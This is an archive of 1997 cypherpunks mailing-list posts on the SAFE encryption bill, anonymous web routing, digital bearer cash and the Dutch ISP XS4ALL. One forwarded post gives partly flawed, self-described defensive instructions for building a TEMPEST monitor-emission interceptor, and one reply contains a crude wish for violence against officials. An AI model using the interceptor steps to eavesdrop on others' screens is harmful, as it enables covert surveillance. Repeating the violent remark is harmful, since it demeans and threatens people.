
You might not have to trust the bank. But you do have to trust a financial
intermediary of some kind. In finance, more often than not, that entity is
called a "bank", for lack of a better term.

Again. You can't have finance, and thus trade and economics, without
reputation. Trust, in other words.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Sat, 3 May 1997 01:31:35 +0800
To: cypherpunks@cyberpass.net
Subject: High Ranking Reprsentative pulls support of SAFE...
Message-ID: <v03020911af8fcf53cb16@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain


Looks like the FBI and thier allies have been playing hardball, and have
managed to convince a high-ranking Republican member of Congress to buy
into their ani-cryto reform arguments.

Solomon is the Chairman of the House Rules Committee.

This fight just got a lot tougher.

Jonah

----
                             May 1, 1997

		      OPPOSE HR. 695 "SAFE ACT"


Dear Colleague:

Earlier this week, after meeting with officials from Defense and FBI, I
removed myself as a cosponsor of HR 695.  Allow me to explain some of their
concerns about this bill.

The Department of Defense believes that HR 695 would increase the export
threshold for encryption software to a level which would effectively remove
existing controls.  This would make unbreakable encryption technology
widely available and "have a negative impact on national security,
effective law enforcement and public safety".  The FBI opposes the bill
because, "It would be irresponsible for the U.S. to adopt a policy that
consciously unleashes widespread, unbreakable, non-key recovery encryption
products that undermine law enforcement in the United States and worldwide."

I also met with Ambassador Aaron (OECD), who pointed out that many of the
major industrial countries have already approved encryption safeguards and
the rest are waiting for the United States to act.  He believes HR 695
would send the worst possible signal to our allies.

Lastly, Assistant Attorney General Andrew Fois stated in a letter to
Chairman Coble, "... the bill would severely compromise law enforcement's
ability to protect the American people from the threats posed by
terrorists, organized crime, child pornographers, drug cartels, financial
predators, hostile foreign intelligence agents, and other criminals... It
is difficult enough to fight crime without making criminals' tasks any
easier."

In addition to the FBI and DOD the legislation is opposed by the Justice
Department, Central Intelligence,. the NSA, the National District
Attorney's Association, the International Association of Chiefs of Police
and the National Sherrif's Association.  Again, I would ask you to oppose
HR 695.

                                   Sincerely,

                                   [signed]

			           GERALD B. SOLOMON
                                   Member of Congress.




* Value Your Privacy? The Governmet Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crytpo.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Sat, 3 May 1997 06:19:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: A new system for anonymity on the web
Message-ID: <199705022121.OAA01551@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back, <aba@dcs.ex.ac.uk>, writes:
> Hal Finney <hal@rain.org> writes:
> > Theoretically, at least for long downloads, passing through multiple
> > slow links shouldn't slow down the transmission, 
>
> I'm not sure that this is so.
> [...]
> When Alice and Bob are online, consider that they are actually using
> their bandwidth most of the time.  I know I do; if I'm not using it I
> hang up, with pay per second phone lines, you're likely to.

Actually here in the U.S. most people have access to unmetered Internet
access these days.  Local and national ISP's are almost always that way,
and AOL offers that option now as well.  I find that I tend to browse in
"flurries", paging around a bit, then settling down to read for a while.

But you're right, I did not consider the interference among multiple
paths running through a jondo.  That issue applies to the higher speed
links as well.  If average path length is n, then on average there
will be about n paths going through each jondo (assuming all "home"
jondos have set up paths).  So the question will be whether the average
person uses more than 1/n of the bandwidth available during the time he
is connected.  This will no doubt depend on the pricing model for Internet
service, as you suggest.

> > just increase the latency.  I don't have a very clear picture about
> > how long it would take to snake in and out of a bunch of people's
> > modem lines en route to the web server.
>
> I'm sure it's going to increase the latency too.  My ping times are
> 200ms from the PPP link alone (ie pinging the PPP server machine
> itself).  Add to this that the members of the jondo / crowds pool may
> not be on the same ISP, and you've got the additional overheads of
> whatever latency is added by the cumulative latency between each of
> the hops in the chain.

Yes, latency would be cumulative, and I just tested mine and found it
was 160-220 ms, about the same as what you saw.  So running through say
5 jondos at the end of modem paths would add about a second of latency.
I think this would be fine if it only happened once per web page, but
almost intolerable if it was once per tiny picture.

> I wonder if you could improve the security of this by trading off
> against some additional bandwidth consumption for the ISP.  Say have
> split the jondo in half, with two cooperating half-Jondos acting as a
> single virtual jondo in such a way that someone with root access on
> one machine but not the other, can't extract any useful information by
> spying on that half of the jondo.

This is an intriguing idea.  Secure multiparty calculation protocols allow
calculations to be made such that neither machine would have access to
all the data.  It is an interesting question how this could be applied
to the anonymous communication problem.

In this specific case, if the Crowds system were enhanced so that
end-to-end encryption was used (which seems very practical and useful),
you could run a jondo on your PC whose only function was to link to
the jondo on the ISP and then set up the additional path through the
jondo net.  The path between your local PC jondo and the end one in the
path would be encrypted, so even root on the local ISP could not see the
contents of what you send down the jondo path.  He might still be able
to see when you were sending and when not, but he couldn't tell where
it was going.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Sat, 3 May 1997 06:16:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
Message-ID: <199705022130.OAA01562@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga, <rah@shipwright.com>, writes:
> Again, it's using the right business model, and not necessarily
> cryptography, which makes a market happen. Blind signatures and hash
> collisions are necessary, but not sufficient, for the market to exist.

Bob, if I understand you correctly, you've suggested that digital
bearer instruments will in the long run actually be more efficient than
conventional book entry based transaction models.  Anonymity will be
cheaper than identified transactions.

But, if digital bearer certificates of all kinds are, as you suggest,
cheaper and more efficient than conventional ones, why can't we just
use ordinary non-blinded digital instruments and ignore the identifying
information?

For example, XYZ Co. could issue a signed note saying "Serial number
12345, worth 100 shares of XYZ Co.".  A bank could issue a signed note
saying "Serial number 54321, worth $100 at DigiBank".  These can be done
with ordinary digital signatures.  No blinding or patent issues arise
(by the end of this year, when the patents expire!).

These are not blinded, so they are in principle traceable.  They have to
have unique serial numbers to solve the double spending problem, and those
could be used to track them.

This makes them less attractive from the privacy perspective, but what
about from the point of view of the financial markets?  Can they just
ignore the serial numbers and treat them as the bearer certificates you
have been talking about?  (Don't real bearer certificates often have
serial numbers on them?)

Maybe this geodesic market you're talking about (which I don't understand
at all) could work with current technology?

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 3 May 1997 03:15:45 +0800
To: cypherpunks@toad.com
Subject: Building a Tempest Interceptor (fwd)
Message-ID: <Pine.SUN.3.91.970502144943.29363F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


This was on the Surveillance List...


by Frank Jones
aka SpyKing@thecodex.com
http://www.thecodex.com
Copyright 1997

The is very little public knowledge about TEMPEST. Most infomation, including how to safeguard against monitoring, has been classified by the government.  You can view an article I wrote on TEMPEST at: http://www.thecodex.com/c_tempest.html and another at: http://www.thecodex.com/rise.html

In order to protect computers and CRT's from electromagnetic emission monitoring (interception, recontruction and viewing) it is necessary to use shielding. This shielding is available in several forms but that is another article... 

Once the shielding is installed, how do you test it for leakage? It is necessary to see if you can monitor the device yourself.  Since TEMPEST monitoring equipment is normally very expensive and hard to come by, here 
is a simple way to construct a "simple" monitoring device that will help 
you detemine if your computer can be "snooped" on by outside sources... 
this device was designed for "defensive" purposes and should NOT be used offensively... it does not have the distance capability of my DataScan 
device but it WILL work as a laboratory benchtop demo device...

Like Van Eck and Moller, I have deliberately flawed the article for the technically challenged... After all, we don't want everyone to have one 
of these, do we?

TEMPEST Interceptor - Follow my instructions...

You need to learn something about electronics to make this happen. 
The first lesson will be to construct a sync generator to drive the 
computer monitor without any signal or video. 

To start this you must take your spectrum analyzer, turn off every appliance 
in the area. Put the analyzer near the computer monitor, turn on the monitor but NOT the computer. Start searching around 15Khz. You should get a strong signal somewhere between 14Khz & 17Khz. Log that frequency. Next try looking around 30Hz to 60Hz. Which is stronger 30 or 60?  Log that. 

Next we're gonna build a "computer sync generator"  (video gear will not work). Most technician's who have tried to build a TEMPEST interceptor have been trying to use "off-the-shelf" products. Don't believe what you read or hear, they won't work. You've got to build a computer sync generator. 

It isn't really so hard to do. Get yourself a copy of the "CMOS Cookbook". 
It's around.  In there it shows how to build a 555 timer. It is a small and simple circut. Maybe 5 components. The 555 has in it all the clock and electronics to make a timer from 1Hz to 10Mhz. Follow the instructions and 
make a variable timer (it is really simple).  Make the first one run at the exact frequency of the monitor, say 16 Khz. Next make a seperate one at the second frequency say 30 Hz. Then tie them together with a .o1 Mfd cap. The output should drive your monitor (generator is done).

Two minor things I forgot to mention. The output of the 555 is about 5 to 
12 volts. You will need to attenuate it to about .3 volts. Several resistors will do.

The other thing is that you need a negative pulse out of the 555. The normal output of a 555 is a square wave. On and off . You must vary the duty cycle 
to create a square wave which is most of the time on and the sync duration off.  

You now need a seperate dedicated computer monitor. Open the input plug and find the shielded cable inside. Attach the output of your circut to the 
center-conductor and the battery minus from your circut to the shield. You 
have a solid black screen on the monitor. Turn up the brightness. There should be no rolling and weaving. If so... adjust the pot in YOUR CIRCUIT not the monitor, to stop it.  

Next step. Collect the signal you hear and see on your anaylzer/receiver. 
Take the output of your reciever tuned to those frequencies. Connect the 
output through a .01 mfd cap to the output of the sync generator and "viola" you should start to see the monitors radiated signal on your monitor. 
Shielding your viewing monitor from the recieving monitor and small 
adjustments in your generator frequency should do it. In fact no 
adjustments should still do it. 

The antenna that you use is critical. 
Make sure you use the right one...  ;-)


**************************************************************************
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**************************************************************************
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In the subject field type: subscribe-surveillance list e-mail address
**************************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 3 May 1997 06:37:49 +0800
To: cypherpunks@toad.com
Subject: Re: A Letter from the Smithsonian
In-Reply-To: <199705021552.IAA02491@fat.doobie.com>
Message-ID: <0yB46D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:

> Dear Dr. Dimitri Vulis, 
Thanks - I'm laughing my head off.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 3 May 1997 06:50:14 +0800
To: cypherpunks@toad.com
Subject: Re: Booby traps, but no anarchist writings
In-Reply-To: <Pine.BSI.3.92.970502122952.3001A-100000@conch.msen.com>
Message-ID: <N2B46D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lou Poppler <lwp@mail.msen.com> writes:

> >From today's NYT
> http://www.nytimes.com/yr/mo/day/news/national/ny-explosives.html
> 
>           [N] EW YORK -- A Bronx man who booby-trapped his
>               apartment with homemade bombs accidentally blew his
>           left hand off Thursday morning, the police said,
> [snip]
>           Just what Saperstein -- who has a criminal record dating
>           back to 1983 for weapons possession, disorderly conduct
>           and drug possession -- was doing with all the explosives
>           puzzled investigators.
> 
>           "There's no indication he was involved in any group,"
>           said a police investigator, who spoke on the condition
>           of anonymity. "There were no rantings or anarchist
>           writings of any kind."
> [snip]
> [end of quoted material]
> 
> Good thing this guy didn't have a folder of old cypherpunks messages on a
> hard drive!  Then he'd *really* be in trouble I guess.

They don't mention whether he learned how to make bombs on the Internet,
which means they haven't ruled out this possibility either.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SafePassage Sales <safepassage-sales@c2.net>
Date: Sat, 3 May 1997 06:55:47 +0800
To: cypherpunks@toad.com
Subject: SafePassage Web Proxy follow-up
Message-ID: <199705022240.PAA25347@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


Dear SafePassage Evaluator:

It's been a while since you downloaded the evaluation version
of SafePassage, and we just wanted to check in to see how things were
going. 

If you have problems installing SafePassage, using SafePassage with your
current browser, or any other questions about our SafePassage product line,
please email:

    safepassage-sales@c2.net or safepassage@ukweb.com

If applicable, please include some recent samples of your log files, and
detailed information on your platform and the version of SafePassage you're
using.

If you have sales or ordering questions, please feel free to give
us a call at 510 986 8770. Our hours are 10 am to 6 pm, Pacific
Daylight Time. You can also contact UKWeb, our European partner and master
distributor, at +44 113 222 0046.

-- Join our Early Adopter Program: For the following applications, we are
offering a flat-fee license of $45,000 per year, provided payment is received
by May 15, 1997:

(a) Banks, for distribution to their customers.
(b) Internet Service Providers, for distribution to their customers.
(c) Companies, for internal use.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 3 May 1997 04:16:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill discussion
In-Reply-To: <v03007838af8f63b734a5@[166.84.253.73]>
Message-ID: <v03020938af8ff4f454a3@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


It dawns on me the the use of "Center", and "Democracy", in the same breath
is either redundant or an oxymoron (depending upon your politics :-)) and,
when used to in reference to "Technology", they *really* don't make sense,
in much the same way that "<ethnic>/<gender> physics" is nonsense.

Write software, not laws.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Sat, 3 May 1997 07:12:49 +0800
To: cypherpunks@manifold.algebra.com
Subject: Artikel about XS4ALL in New York Times (fwd)
Message-ID: <199705022300.SAA07523@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from tank -----

>From cpunks@manifold.algebra.com  Fri May  2 05:04:57 1997
From: tank <tank@xs4all.nl>
Message-Id: <199705020912.LAA11297@xs1.xs4all.nl>
Subject: Artikel about XS4ALL in New York Times
To: tank@xs4all.nl
Date: Fri, 2 May 1997 11:12:37 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks@toad.com
Precedence: bulk



THE NEW YORK TIMES/CYBERTIMES
www.nytimes.com


April 29, 1997

By BRUNO GIUSSANI

For an ISP in the Netherlands, Controversy Is an Old Friend

AMSTERDAM -- April has meant business as usual at XS4ALL
(access-for-all), the third-largest Internet service provider in the
Netherlands.

The month started off with the XS4ALL Web site being out of reach for a
substantial portion of the European online population, and it is ending
with the provider's adding a notch to its track record as a champion of
freedom of speech.

On April 11 the Dutch Web site was blocked by the German academic
network, Deutsche Forschungsnetz (DFN), which serves about 400
universities and research organizations and provides Internet access to
a half million people. DFN acted under pressure from the Federal
Criminal Investigation Bureau pointing out the illegal -- in Germany,
though not in the Netherlands -- content of Radikal Magazine, which is
housed on the XS4ALL server.

Radikal, a left-wing underground magazine, advocates "militant and
armed interventions" to overthrow the government, and has published a
"Short guide to hindering railway transports of all kinds" -- a
handbook describing how to attack and damage tracks.

Since selectively barring single home pages is technically impossible,
the DNF action cut off all 6,000 pages on the XS4ALL servers, including
those of Serbian opposition radio station B-92 and several scientific
databases.

Thus, while blocking illegal material, the German network was also
hampering scientific work -- which DFN has been established to
nurture.  Not to mention that skilled Internet users could route around
the obstacle by using a remailing system or a proxy server located
abroad.  What's more, Radikal Magazine can be found on several dozen
"mirror sites" around the world.

Ten days later -- after being flooded by protests -- the German network
lifted the ban on XS4ALL. "An effective blockage of illegal information
has not been within the realms of possibility," Klaus-Eckart Maass, a
DFN spokesman, conceded in an interview with The Associated Press.

Now, this happened the very same week as the indictment of a German
manager of CompuServe, a leading international online service, for the
transmission of allegedly illegal materials over the Internet and as
the German Parliament opened discussions on a new multimedia law.

The new bill would place the responsibility for content on the supplier
of the data, thus Internet service providers would not be held liable
for illegal information that could pass over their wires unless they
have been alerted and "have the technical ability" to delete or block
it -- the very same scheme the German academic network found impossible
to enforce.

It was not the first time XS4ALL had been at the forefront of an
Internet skirmish.

Last September, most German ISPs blocked XS4ALL for a month after
complaints by a regional prosecutor about Radikal.  (In January Angela
Marquardt, a Bavarian socialist politician, was indicted for linking to
the banned magazine from her personal home page).

"After a couple of weeks, the censored information was mirrored on some
50 Web sites around the world and voluntarily removed by our user from
the XS4ALL server," the company's founder, Felipe Rodriquez, 28,
explained. "After the block had ended, our user put the documents back
on his page."

Along with German prosecutors, the Amsterdam-based provider has lined
up a fair list of other adversaries: the McDonald's fast-food chain,
the Serbian government and the Church of Scientology, just to name a
few.

XS4ALL's roots reach into the hacker movement. The venture started out
in 1993 "to give anyone the possibility to access the Internet." At
that time there were no commercial access providers in Holland. It has
grown into a respectable and very successful business in less than four
years, yet the principles on which it was created have not changed:
"Internet for the masses" is still its motto.  XS4ALL currently has 55
employees, boasts 21,000 subscribers and hosts some 6,000 home pages.

"A few years ago, we would have been portrayed as a band of dangerous
anarchists, bent on disrupting society," Rodriquez told the Dutch daily
Trouw. "But now they have come to see that we are nice and quiet people
really."

The company was instrumental in the creation of the Amsterdam Digital
City project, a community networking initiative backed by taxpayer's
money, and Rodriquez himself played a key role in setting up the Dutch
anti-child-pornography hotline, the first of its kind, last year.

"Before we started the hotline, Holland had a reputation of being a
kid-porn freehaven," he said in an interview last week. "We designed it
as a non-censoring form of self-regulation."

The hotline is run by Internet users and providers. Unlike Britain's
Internet Watch Foundation, the Dutch hotline doesn't censor any
information nor does it ask the provider to do so. Hotline operators
contact the author of the information and ask him to remove the
offending content.  "If the author does not comply, we report him to
the police, and he'll be prosecuted," said Rodriquez, who also is
chairman of the Dutch Providers Association.

"The Internet Watch Foundation forces the provider to remove the
illegal content," he added. "This is a fundamentally different approach
to responsibilities on the Internet. We think the author of the
information is responsible for his own actions, not the provider."

That's why XS4ALL didn't take any steps against the customer who posted
Radikal Magazine on its server. "Our policy is that as a provider we
are not in the position to judge whether this magazine is illegal in
the Netherlands, therefore we do not interfere with our users' freedom
of speech," Rodriquez stated.

"If there is any doubt about the legality of the publication in
Holland, a Dutch court of law would be the proper place to remove these
doubts," he added.

This was the case when, in September 1995, the Religious Technology
Center -- better known as the Church of Scientology -- filed for the
seizure of all the XS4ALL computer equipment "because one of our users
had put on his home page some information to which Scientology said it
owned the copyright."

The document -- the now famous "Fishman affidavit" -- is the actual
transcript of a testimony given by Steven Fishman in a Los Angeles
Court in which he accused the church of having forced him to act
illegally.

"We denied any responsibility for the content on our users' pages; they
decide for themselves what they will publish," Rodriquez recalled. "We
won the litigation." The user preferred to take down the controversial
document.

Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
comply, as it did a few weeks ago when it shut down a customer's home
page called Neuroroom, which sold marijuana and other soft drugs in
Holland and abroad.

The company's commitment to support free expression and democratization
of the Internet doesn't stop here. Last fall when the Serbian
government censored radio station B-92, XS4ALL helped design an
Internet campaign and started to carry news broadcasts (in RealAudio
format) that kept the rare opposition voice alive and the international
public informed through independent accounts of the events occurring
during the mass demonstrations in Belgrade.

"They gave us disk space, donated network traffic and helped in
training people," said Frank Tiggelaar, a Dutch activist for
democratization in former Yugoslavia.

"Basically any project we like gets free resources from XS4ALL,"
Rodriquez commented.

The campaign of Helen Steel and Dave Morris is among the projects
XS4ALL's old hackers do like. The two British environmentalists are the
main characters of a civil case that started in 1990 when the
McDonald's restaurant chain sued them for distributing flyers pointing
at what they called the company's economic and ecological "ravages."

The trial is not over yet -- but it has spawned a large Internet-based
support network and fed a huge anti-McDonald's Web site called
McSpotlight hosted, not surprisingly, by XS4ALL.

EUROBYTES is published weekly, on Tuesdays. Click here for a list of
links to other columns in the series.


Related Sites Following are links to the external Web sites mentioned
in this article. These sites are not part of The New York Times on the
Web, and The Times has no control over their content or availability.
When you have finished visiting any of these sites, you will be able to
return to this page by clicking on your Web browser's "Back" button or
icon until this page reappears.


Bruno Giussani at eurobytes@nytimes.com welcomes your comments and
suggestions.


		Copyright 1997 The New York Times Company


--
XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe@xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 



----- End of forwarded message from tank -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 3 May 1997 09:19:13 +0800
To: Ernest Hua <hua@chromatic.com>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705021910.MAA07300@server1.chromatic.com>
Message-ID: <199705030048.TAA15456@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705021910.MAA07300@server1.chromatic.com>, on 05/02/97 at 01:10 PM,
   Ernest Hua <hua@chromatic.com> said:


>And I don't understand why you did not respond to this point when I
>brought it up earlier.  This area is MOST CERTAINLY NOT free of
>legislation.  Have you tried to openly export a IDEA- or 3DES-based
>non-key-recovery (real commercial) product lately?  Have you set up an
>open, publically announced FTP site where anyone can freely fetch strong
>encryption sources?  If not, then explain why, if there is no legislation
>on this matter, couldn't you do it?

Well I can't speak for Tim's actions in this area but I can say that I have
made strong crypto available for download via the INet. And I ahev openly
announced that I have made such available on numerious newsgroups and
mailing lists.

http://www.amaranth.com/~whgiii/pgpmr2.html

There is no legislation on this matter only an unconstitutional presidental
order.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I don't do Windows, but OS/2 does.

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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8ysTTonDW/MSADkqZv4sJ1CwcHyqjkav03Q8BMHkmm+aU29pz9Tct45BXvPXaxL3
q6kagRFFxPJlQIfDF28BsEP44TPOFCJMb+FbgXZH5ZANPndB+Qjbfz77MdWKsjhP
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 3 May 1997 18:22:59 +0800
To: cypherpunks@algebra.com
Subject: Re: Artikel about XS4ALL in New York
Message-ID: <Pine.LNX.3.91.970502201705.1060E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 2 May 1997, tank wrote:



> "A few years ago, we would have been portrayed as a band of dangerous
> anarchists, bent on disrupting society," Rodriquez told the Dutch daily
> Trouw. "But now they have come to see that we are nice and quiet people
> really."

The only "nice people" are dangerous anarchists bent on destroying 
governments and buggering poloticians to death. (last part a personal 
preference of course, the author is totally straight but would 
nonetheless be distinctly amused to see any government official 
butt-raped to death)

> The company was instrumental in the creation of the Amsterdam Digital 
> The hotline is run by Internet users and providers. Unlike Britain's
> Internet Watch Foundation, the Dutch hotline doesn't censor any
> information nor does it ask the provider to do so. Hotline operators
> contact the author of the information and ask him to remove the
> offending content.  "If the author does not comply, we report him to
> the police, and he'll be prosecuted," said Rodriquez, who also is
> chairman of the Dutch Providers Association.

How very benevolent. Its nice to know that instead of censoring your 
pages they send in the jackbooted thugs to do it for them, then throw you 
in a nice 6x9 cell for the henious crime of displaying some .gifs or similar.
 
> "The Internet Watch Foundation forces the provider to remove the
> illegal content," he added. "This is a fundamentally different approach
> to responsibilities on the Internet. We think the author of the
> information is responsible for his own actions, not the provider."

And if he chooses not to remove the content you happen to find offensive?
If you truly believed in the rights of the author and publisher of the 
information you would think about it before sending in your own 
particular brand of thugs to "crush the mutiny".
 
> Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> comply, as it did a few weeks ago when it shut down a customer's home
> page called Neuroroom, which sold marijuana and other soft drugs in
> Holland and abroad.

Sometimes one really wonders why we bother to set up mirrors to allow 
freedom of information to users, when the owners of these servers, 
supposedly in favour of free speech, do not even have the strength of 
character or conviction to decide for themselves what they will allow on 
their servers rather than bending over for the long cock of the law...

> The company's commitment to support free expression and democratization
> of the Internet doesn't stop here. 

As far as I can see it hasn`t even started yet.


> Last fall when the Serbian
> government censored radio station B-92, XS4ALL helped design an
> Internet campaign and started to carry news broadcasts (in RealAudio
> format) that kept the rare opposition voice alive and the international
> public informed through independent accounts of the events occurring
> during the mass demonstrations in Belgrade.

I presume B-92 fell into line and matched the "requirements under law for 
obtaining a free-speech permit" before XS4ALL allowed this/

> "Basically any project we like gets free resources from XS4ALL,"
> Rodriquez commented.

And anyone who guarantees to publicly lick the boots of the benevolent 
owners in thanks for their support gets as much free space as they like?

Of course I believe in the right to free expression of anyone and if 
these thugs choose not to allow material they don`t like on their servers 
they have every right to remove it. I just don`t see that setting up 
mirrors to defeat blocks on sites that refuse to carry certain content is 
of any value in the fight for free speech. Sure, create a mirror of 
Radikal, but giving any credit or attribution to XS4ALL seems to be a 
poor choice. 

Paul "Still messing with mail apps so totally .sig-less" Bradley

 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 3 May 1997 09:37:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705022130.OAA01562@crypt.hfinney.com>
Message-ID: <v0302095daf90224fa770@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:30 pm -0400 on 5/2/97, Hal Finney wrote:

> Bob, if I understand you correctly, you've suggested that digital
> bearer instruments will in the long run actually be more efficient than
> conventional book entry based transaction models.  Anonymity will be
> cheaper than identified transactions.

Exactly. In the same way that physical bearer certificates were cheaper to
use than handwritten book entries. Before telegraphy, anyway. It was
telegraphy, more than anything else, which forced the creation of
book-entry settlement (using, actually, encrypted messages and prearranged
authentication codes), because you could do trades at a distance, which you
couldn't do with paper certificates. Database-enabled accounting was what
killed large and abstract value physical bearer certificates once and for
all. Especially when you could swap data sets with tape or disk packs from
machine to machine. (Notice I didn't say tax law. The book entries had to
be there before you could tax them. :-). Law follows reality, not the other
way around. We get the government we deserve [afford], a constituency of
idiots will elect one, and all that tosh.)

I claim that as you get closer to completely offline digital bearer
certificates, you bring back the competitive advantage of bearer
certificates. Right now, we're pretty much in the on-line digital bearer
certificate stage of things, but I'm claiming that even *that* makes it
possible to supplant very large pieces of the book entry hierarchy we've
managed to build in the industrial age. Particularly in the case of
peer-to-peer transactions over great physical -- or regulatory :-) --
distances.

> But, if digital bearer certificates of all kinds are, as you suggest,
> cheaper and more efficient than conventional ones, why can't we just
> use ordinary non-blinded digital instruments and ignore the identifying
> information?

I claim that the very futility of tracing those certificates creates the
greatest saving, especially if the only thing you really care about is
whether the trade will clear. The primary reason for keeping archives of
transactions is so that you can hire a cop to hunt down someone and send
them to jail when they stiff you. If you can't hunt them down, you don't
have to pay the cop. :-). Cops cost lots, as most people on cypherpunks
would agree. With a completely anonymous system like Chaum's, you *really*
have to trust the reputation of entity backing the certificates, but you
don't give a fig about who gives you the money itself. "Cash is King",
right? Since there are many more buyers and sellers than certificate
underwriters, and since the underwriter only keeps records of spent
certificates and not all transactions (and is probably expiring keys and
issues of certificates to keep the on-line storage load manageable), then
at least two sets of transaction book entries (those of the buyer and
seller) disappear, and the bookeeping load of the issuer is much less than
that of a typical book-entry intermediary like a clearinghouse. Not to
mention the offsetting book-entries of the clearing system linking multiple
clearing entities. Actually, that's more an artifact of a geodesic network,
and not of a digital bearer certifcate transaction system itself.

> This makes them less attractive from the privacy perspective, but what
> about from the point of view of the financial markets?  Can they just
> ignore the serial numbers and treat them as the bearer certificates you
> have been talking about?  (Don't real bearer certificates often have
> serial numbers on them?)

Yup. Actually, dollar bills have serial numbers. Bearer bonds had serial
numbers. That's how you controlled the amount in circulation, and could
detect some kinds of fraud, because the number of  certificates issued is a
published figure. But the serial number's not important from a privacy
perspective once a certificate changes hands several times, especially if
the population of certificates is large, like it is with dollar bills.
Even the coupons, the little bits you hacked off and sent in every quarter
to get paid interest, had serial numbers. However, notice that you didn't
need to know *who* was sending in the coupon.  The coupon itself was it's
own proof for redemption. You just sent back a check payable to the person
who sent in the coupon, or if the person, or person's messenger, showed up
physically, you paid cash. Remember $10,000, or $100K bills? That's what
they were primarily for. Cash settlement of things like large bond
transactions. Paper for paper.

Anyway, it's when you start registering certificates, and keeping track of
who owns what, that you get the cost explosion. In that case, you're right.
You could do it without blinding. Dan Simon's cash system for Microsoft
operates kind of like that. You can track the original purchaser at the
initial purchase, but after it's gone through a few secondary trades,
including ones with yourself, tracking them is pretty much impossible.
Chaum's current version of ecash has this, um, feature, which Ian Goldberg
has now conveniently dispatched. Frankly, the model I promote now, with a
book-entry bank as a trustee, has this problem, because you need a
book-entry account at your own bank to bring money on and off the net. Of
course, at some point, you could do this anonymously and in person at a
currency exchange, with a bag of cash. :-). Fortunately, as I said today in
a reply to Adam Back, when you create other assets on the net besides cash,
and can issue them in bearer form, the problem of requiring identity for
authentication goes away, because the book entries are no longer there
there to repudiate.

